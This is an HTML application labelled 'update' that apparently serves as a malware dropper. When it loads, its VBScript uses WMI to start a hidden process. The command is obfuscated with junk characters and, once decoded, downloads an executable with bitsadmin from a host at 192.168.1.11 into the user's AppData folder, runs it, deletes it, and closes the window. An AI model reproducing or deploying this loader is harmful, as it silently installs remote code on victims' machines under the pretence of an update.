update

<html>
<head>
<script language="VBScript">
Sub window_onload
    const impersonation = 3
        const HIDDEN_WINDOW = 12

        Set objShell = CreateObject("WScript.Shell")
        Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
        Set Service = objSWbemLocator.ConnectServer()

    Service.Security_.ImpersonationLevel=impersonation
        Set objStartup = Service.Get("Win32_ProcessStartup")
        Set objConfig = objStartup.SpawnInstance_
        objConfig.ShowWindow = HIDDEN_WINDOW
        Set objProcess = Service.Get("Win32_Process")
        objProcess.Create Replace("c!|#|%#m!|#|%#d!|#|%#.!|#|%#e!|#|%#x!|#|%#e!|#|%# !|#|%#/!|#|%#c!|#|%# !|#|%#b!|#|%#i!|#|%#t!|#|%#s!|#|%#a!|#|%#d!|#|%#m!|#|%#i!|#|%#n!|#|%# !|#|%#/!|#|%#t!|#|%#r!|#|%#a!|#|%#n!|#|%#s!|#|%#f!|#|%#e!|#|%#r!|#|%# !|#|%#6!|#|%#b!|#|%#b!|#|%#3!|#|%# !|#|%#h!|#|%#t!|#|%#t!|#|%#p!|#|%#:!|#|%#/!|#|%#/!|#|%#1!|#|%#9!|#|%#2!|#|%#.!|#|%#1!|#|%#6!|#|%#8!|#|%#.!|#|%#1!|#|%#.!|#|%#1!|#|%#1!|#|%#:!|#|%#8!|#|%#0!|#|%#/!|#|%#a!|#|%# !|#|%#%!|#|%#\!|#|%#A!|#|%#P!|#|%#P!|#|%#D!|#|%#A!|#|%#T!|#|%#A!|#|%#%!|#|%#\!|#|%#6!|#|%#b!|#|%#b!|#|%#3!|#|%#.!|#|%#e!|#|%#x!|#|%#e!|#|%#&!|#|%#%!|#|%#\!|#|%#A!|#|%#P!|#|%#P!|#|%#D!|#|%#A!|#|%#T!|#|%#A!|#|%#%!|#|%#\!|#|%#6!|#|%#b!|#|%#b!|#|%#3!|#|%#.!|#|%#e!|#|%#x!|#|%#e!|#|%#&!|#|%#d!|#|%#e!|#|%#l!|#|%# !|#|%#%!|#|%#A!|#|%#P!|#|%#P!|#|%#D!|#|%#A!|#|%#T!|#|%#A!|#|%#%!|#|%#\!|#|%#6!|#|%#b!|#|%#b!|#|%#3!|#|%#.!|#|%#e!|#|%#x!|#|%#e!|#|%#","!|#|%#",""), null,
    objConfig, intProcessID
            window.close()
End sub
</script>
</head>
</html>